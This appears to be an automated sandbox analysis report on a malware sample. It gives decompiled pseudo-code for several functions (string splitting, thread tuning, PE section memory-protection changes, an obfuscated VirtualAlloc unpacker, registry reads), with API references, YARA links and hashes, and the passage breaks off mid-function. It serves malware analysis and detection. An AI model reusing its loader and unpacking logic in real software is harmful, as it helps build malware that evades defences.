Uniqueness Score: -1.00%

Function 017394A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E017394A9(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E01732049(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x173c2a4); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x173c2a4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x017394b4
0x017394b8
0x017394ba
0x017394bb
0x017394c3
0x017394c3
0x017394c7
0x00000000
0x00000000
0x017394be
0x017394bf
0x017394c2
0x017394c2
0x017394cf
0x017394d6
0x017394da
0x017394e2
0x017394e8
0x017394ea
0x017394ef
0x017394f3
0x017394f5
0x017394f8
0x017394ff
0x017394ff
0x01739509
0x0173950c
0x0173950f
0x0173950f
0x0173951b
0x0173951b
0x01739528

APIs

StrChrA.SHLWAPI(?,00000020,00000000,03DC95AC,?,017323DE,?,01737634,03DC95AC,?,017323DE), ref: 017394C3
StrTrimA.KERNELBASE(?,0173C2A4,00000002,?,017323DE,?,01737634,03DC95AC,?,017323DE), ref: 017394E2
StrChrA.SHLWAPI(?,00000020,?,017323DE,?,01737634,03DC95AC,?,017323DE), ref: 017394ED
StrTrimA.SHLWAPI(00000001,0173C2A4,?,017323DE,?,01737634,03DC95AC,?,017323DE), ref: 017394FF

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 33403745816a6764492d72803f32e016cb992228a62e861900579c032391b705
Instruction ID: 3da300e4a8cfa20dad887098bd0e3a480b7ee57e19977fe44bf6ab3b41ab7670
Opcode Fuzzy Hash: 33403745816a6764492d72803f32e016cb992228a62e861900579c032391b705
Instruction Fuzzy Hash: 500175716053256FD2319EAACC49F27FF98EBC5665F120519FA85D7282DBA0C80186A1

Uniqueness

Uniqueness Score: -1.00%

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E1000111A(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E1000163F(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x10001123
0x10001128
0x10001136
0x1000113b
0x1000113b
0x10001141
0x10001146
0x1000114a
0x1000114e
0x1000114e
0x10001158
0x10001161

APIs

GetCurrentThread.KERNEL32 ref: 1000111D
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 10001128
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 1000113B
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 1000114E

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction ID: 4c0cec3966cfd65f316416e497d44ff5eb1b0779e4299dd3e4543c5f6ab01fef
Opcode Fuzzy Hash: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction Fuzzy Hash: 91E092712066216BF302AB294C85EEB679DDF953F0B028225F620D22E8CF659D0286A5

Uniqueness

Uniqueness Score: -1.00%

Function 017373FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E017373FD(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E0173A72D(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x173d27c; // 0x268a5a8
				_t4 = _t24 + 0x173ede0; // 0x3dc9388
				_t5 = _t24 + 0x173ed88; // 0x4f0053
				_t26 = E01731262( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x173d27c; // 0x268a5a8
						_t11 = _t32 + 0x173edd4; // 0x3dc937c
						_t48 = _t11;
						_t12 = _t32 + 0x173ed88; // 0x4f0053
						_t55 = E01737CB8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0x173d27c; // 0x268a5a8
							_t13 = _t35 + 0x173ee1e; // 0x30314549
							if(E017389D6(_t48, _t50, _t59, _v8, _t55, _t13, 0x14) == 0) {
								_t61 =  *0x173d25c - 6;
								if( *0x173d25c <= 6) {
									_t42 =  *0x173d27c; // 0x268a5a8
									_t15 = _t42 + 0x173ec2a; // 0x52384549
									E017389D6(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0x173d27c; // 0x268a5a8
							_t17 = _t38 + 0x173ee18; // 0x3dc93c0
							_t18 = _t38 + 0x173edf0; // 0x680043
							_t45 = E01732659(_v8, 0x80000001, _t55, _t18, _t17);
							HeapFree( *0x173d238, 0, _t55);
						}
					}
					HeapFree( *0x173d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E01731F99(_t54);
				}
				return _t45;
			}

0x017373fd
0x0173740d
0x01737410
0x01737417
0x01737419
0x01737419
0x0173741c
0x01737421
0x01737428
0x01737435
0x0173743a
0x0173743e
0x0173744c
0x0173745a
0x0173745e
0x017374ef
0x017374ef
0x01737464
0x01737464
0x01737469
0x01737469
0x01737470
0x0173747c
0x0173747e
0x01737480
0x01737482
0x01737489
0x0173749b
0x0173749d
0x017374a4
0x017374a6
0x017374ad
0x017374b8
0x017374b8
0x017374a4
0x017374bd
0x017374c2
0x017374c9
0x017374e7
0x017374e9
0x017374e9
0x01737480
0x017374fb
0x017374fb
0x017374fd
0x01737502
0x01737504
0x01737504
0x0173750f

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,03DC9388,00000000,?,7519F710,00000000,7519F730), ref: 0173744C
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,03DC93C0,?,00000000,30314549,00000014,004F0053,03DC937C), ref: 017374E9
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,01736814), ref: 017374FB

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 47d8bdaf0d8d1a7649f0f7c28dc3e5c2895a15896e750ca3bb784bc3582a0218
Instruction ID: b68ab8b4fb126fe383b80e6a73b1b901067922982f5dd92c9b5eafd7a04322e2
Opcode Fuzzy Hash: 47d8bdaf0d8d1a7649f0f7c28dc3e5c2895a15896e750ca3bb784bc3582a0218
Instruction Fuzzy Hash: 7031A7B250110ABFDB31DBE4DC88EDEBBBCEF94320F554055B600A7156DB70AA48DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01738504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E01738504(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x173d340; // 0x3dc9928
				_push(0x800);
				_push(0);
				_push( *0x173d238);
				if( *0x173d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x173d24c =  *0x173d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E01732496(_t44, _t40);
						_t18 = E0173A66E(_t37, _t40, _t44);
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x173d24c < 5) {
								 *0x173d24c =  *0x173d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E0173A1B0();
						RtlFreeHeap( *0x173d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E0173A279(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E01738B94(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x01738504
0x01738507
0x01738508
0x01738512
0x01738519
0x0173851e
0x01738520
0x01738526
0x0173854e
0x01738566
0x01738568
0x01738569
0x0173856b
0x017385a9
0x017385a9
0x017385af
0x017385b5
0x017385b5
0x0173856d
0x01738573
0x01738576
0x01738585
0x01738587
0x0173858e
0x017385c2
0x017385c7
0x017385c9
0x017385cb
0x017385cb
0x00000000
0x017385c9
0x01738590
0x01738595
0x017385a3
0x00000000
0x017385a3
0x0173855d
0x01738562
0x01738562
0x00000000
0x01738562
0x01738530
0x00000000
0x00000000
0x0173853f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 01738528

Part of subcall function 01738B94: GetTickCount.KERNEL32 ref: 01738BA8
Part of subcall function 01738B94: wsprintfA.USER32 ref: 01738BF8
Part of subcall function 01738B94: wsprintfA.USER32 ref: 01738C15
Part of subcall function 01738B94: wsprintfA.USER32 ref: 01738C41
Part of subcall function 01738B94: HeapFree.KERNEL32(00000000,?), ref: 01738C53
Part of subcall function 01738B94: wsprintfA.USER32 ref: 01738C74
Part of subcall function 01738B94: HeapFree.KERNEL32(00000000,?), ref: 01738C84
Part of subcall function 01738B94: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 01738CB2
Part of subcall function 01738B94: GetTickCount.KERNEL32 ref: 01738CC3

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 01738546
RtlFreeHeap.NTDLL(00000000,00000002,0173685F,?,0173685F,00000002,?,?,01732417,?), ref: 017385A3

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: fe7ca63526d264e8e7398d9952468d4eacb91e069132769b2ad6b2b1a827c7ce
Instruction ID: ea5337f602ffc482f9a4792f6f8a7068a283f560449369da81f6fdc93f06f57c
Opcode Fuzzy Hash: fe7ca63526d264e8e7398d9952468d4eacb91e069132769b2ad6b2b1a827c7ce
Instruction Fuzzy Hash: 13216576201215EFDB22DF99DC84E9AB7BCEB89361F104116F901EB286D770D940CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 10001179, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E10001179(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x1000414c;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x63699bbf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x63699bbf;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x777fa9b0 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x63699bc1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x63699ba3;
					} else {
						_t54 = _t57 - 0x63699b83;
					}
					goto L9;
				}
				goto L12;
			}

0x10001183
0x10001190
0x10001196
0x100011a2
0x100011b2
0x100011b4
0x100011bc
0x10001251
0x10001258
0x00000000
0x00000000
0x00000000
0x100011c2
0x100011c2
0x100011c2
0x100011c6
0x00000000
0x00000000
0x100011d2
0x100011d6
0x100011fa
0x100011fe
0x10001212
0x10001212
0x10001218
0x10001227
0x1000122b
0x10001233
0x10001233
0x1000123b
0x1000123e
0x1000124b
0x00000000
0x00000000
0x00000000
0x00000000
0x1000124b
0x10001206
0x1000120a
0x10001210
0x00000000
0x00000000
0x00000000
0x10001210
0x100011de
0x100011e2
0x100011ec
0x100011e4
0x100011e4
0x100011e4
0x00000000
0x100011e2
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
GetLastError.KERNEL32 ref: 1000122D

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction ID: 0668daed04cbb7b664abe494ebfe9c2342c365f2a22d128ebf7293798eb97d5e
Opcode Fuzzy Hash: 4c066baaf28f8eb37efe3bcb5d7151aded5e51c0cb14aa7ceb28c1f7bbe160c8
Instruction Fuzzy Hash: A2217F31801206EFDB04DF95C885AEAF7F5FF44399F018859D50297458E3B8A6A5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01733DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E01733DD9(void* __eflags, int _a4) {
				intOrPtr _v12;
				WCHAR* _v16;
				char* _v20;
				int _v24;
				void* _v36;
				char _v40;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				void _v84;
				char _v88;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t80;
				WCHAR* _t85;

				_v88 = 0;
				memset( &_v84, 0, 0x2c);
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0x173d27c; // 0x268a5a8
				_t5 = _t40 + 0x173ee40; // 0x410025
				_t85 = E01736A12(_t5);
				_v16 = _t85;
				if(_t85 == 0) {
					_t80 = 8;
					L24:
					return _t80;
				}
				_t45 = StrCmpNIW(_t85, _a4, lstrlenW(_t85)); // executed
				if(_t45 != 0) {
					_t80 = 1;
					L22:
					E01739039(_v16);
					goto L24;
				}
				if(E0173A72D(0,  &_a4) != 0) {
					_a4 = 0;
				}
				_t50 = E0173809F(0,  *0x173d33c);
				_v12 = _t50;
				if(_t50 == 0) {
					_t80 = 8;
					goto L19;
				} else {
					_t52 =  *0x173d27c; // 0x268a5a8
					_t11 = _t52 + 0x173e81a; // 0x65696c43
					_t55 = E0173809F(0, _t11);
					_t87 = _t55;
					if(_t55 == 0) {
						_t80 = 8;
					} else {
						_t80 = E01736BFA(_a4, 0x80000001, _v12, _t87,  &_v88,  &_v84);
						E01739039(_t87);
					}
					if(_t80 != 0) {
						L17:
						E01739039(_v12);
						L19:
						_t86 = _a4;
						if(_a4 != 0) {
							E01731F99(_t86);
						}
						goto L22;
					} else {
						if(( *0x173d260 & 0x00000001) == 0) {
							L14:
							E01738F83(_t80, _v88, _v84,  *0x173d270, 0);
							_t80 = E01731C74(_v88,  &_v80,  &_v76, 0);
							if(_t80 == 0) {
								_v24 = _a4;
								_v20 =  &_v88;
								_t80 = E017342EA( &_v40, 0);
							}
							E01739039(_v88);
							goto L17;
						}
						_t67 =  *0x173d27c; // 0x268a5a8
						_t18 = _t67 + 0x173e823; // 0x65696c43
						_t70 = E0173809F(0, _t18);
						_t89 = _t70;
						if(_t70 == 0) {
							_t80 = 8;
						} else {
							_t80 = E01736BFA(_a4, 0x80000001, _v12, _t89,  &_v72,  &_v68);
							E01739039(_t89);
						}
						if(_t80 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x01733deb
0x01733dee
0x01733df5
0x01733dfb
0x01733dfc
0x01733dfd
0x01733dfe
0x01733dff
0x01733e00
0x01733e08
0x01733e14
0x01733e18
0x01733e1b
0x01733f6b
0x01733f6e
0x01733f72
0x01733f72
0x01733e2d
0x01733e35
0x01733f5e
0x01733f5f
0x01733f62
0x00000000
0x01733f62
0x01733e47
0x01733e49
0x01733e49
0x01733e54
0x01733e5b
0x01733e5e
0x01733f4d
0x00000000
0x01733e64
0x01733e64
0x01733e69
0x01733e72
0x01733e77
0x01733e80
0x01733ea3
0x01733e82
0x01733e98
0x01733e9a
0x01733e9a
0x01733ea6
0x01733f41
0x01733f44
0x01733f4e
0x01733f4e
0x01733f53
0x01733f55
0x01733f55
0x00000000
0x01733eac
0x01733eb3
0x01733ef4
0x01733f05
0x01733f1b
0x01733f1f
0x01733f24
0x01733f2a
0x01733f37
0x01733f37
0x01733f3c
0x00000000
0x01733f3c
0x01733eb5
0x01733eba
0x01733ec3
0x01733ec8
0x01733ecc
0x01733eef
0x01733ece
0x01733ee4
0x01733ee6
0x01733ee6
0x01733ef2
0x00000000
0x00000000
0x00000000
0x00000000
0x01733ef2
0x01733ea6

APIs

memset.NTDLL ref: 01733DEE

Part of subcall function 01736A12: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,01733E14,00410025,00000005,?,00000000), ref: 01736A23
Part of subcall function 01736A12: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 01736A40

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 01733E22
StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 01733E2D

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID:
API String ID: 3817122888-0
Opcode ID: 80d1c45b38c3a3e21ce92d4dc086ec62dc26518bfef8e0eb63b20ecf68d048ed
Instruction ID: 9d1321a59fee9d693ae43c7d2e0455f371e34c93806b7acaf945545a3c2f38a0
Opcode Fuzzy Hash: 80d1c45b38c3a3e21ce92d4dc086ec62dc26518bfef8e0eb63b20ecf68d048ed
Instruction Fuzzy Hash: AC417072A0121AABDB21AFE4CC88DDEFBBCBF58354B404125F641E7116D771DE448B90

Uniqueness

Uniqueness Score: -1.00%

Function 016C6194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E016C6194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E016C463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E016C4859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E016C2DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E016C348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E016C4DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x016c6194
0x016c6194
0x016c6194
0x016c6195
0x016c619c
0x016c619f
0x016c61a4
0x016c61a7
0x016c61a9
0x016c61ab
0x016c61ac
0x016c61af
0x016c61b7
0x016c61c5
0x016c61c5
0x016c61ca
0x016c61ca
0x016c61d1
0x016c61d5
0x016c61d8
0x016c61de
0x016c61e8
0x016c61f0
0x016c61f7
0x016c61fd
0x016c6207
0x016c6209
0x016c6210
0x016c6214
0x016c6218
0x016c621c
0x016c6226
0x016c6226
0x016c6230
0x016c6230
0x016c6233
0x016c6233
0x016c6239
0x016c6240
0x016c6243
0x016c624b
0x016c624f
0x016c6255
0x016c6260
0x016c6262
0x016c6267
0x016c6272
0x016c6274
0x016c6276
0x016c6279
0x016c627a
0x016c627d
0x016c6281
0x016c6284
0x016c6284
0x016c628a
0x016c628d
0x016c628e
0x016c628e
0x016c628e
0x016c6296
0x016c629f
0x016c629f
0x016c62a2
0x016c62a7
0x016c62af
0x016c62b3
0x016c62b4
0x016c62b4
0x016c62b9
0x016c62c6
0x016c62c9
0x016c62cd
0x016c62e1
0x016c62e9
0x016c62ed
0x016c62f3
0x016c62f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 016C61CA
VirtualProtect.KERNELBASE(?,?), ref: 016C6233

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: cb634d43fe0165c1ff2228b68384a5fb3faf9166ed671def71e3ec22c035f9dd
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: BA41C172504604DFEB00DF24C8807BEBBFAEF88B11F0A846DDD888B249DB785540CB69

Uniqueness

Uniqueness Score: -1.00%

Function 01739152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E01739152(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E01733AEF(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x173d27c; // 0x268a5a8
						_t20 = _t68 + 0x173e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E01737C14(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
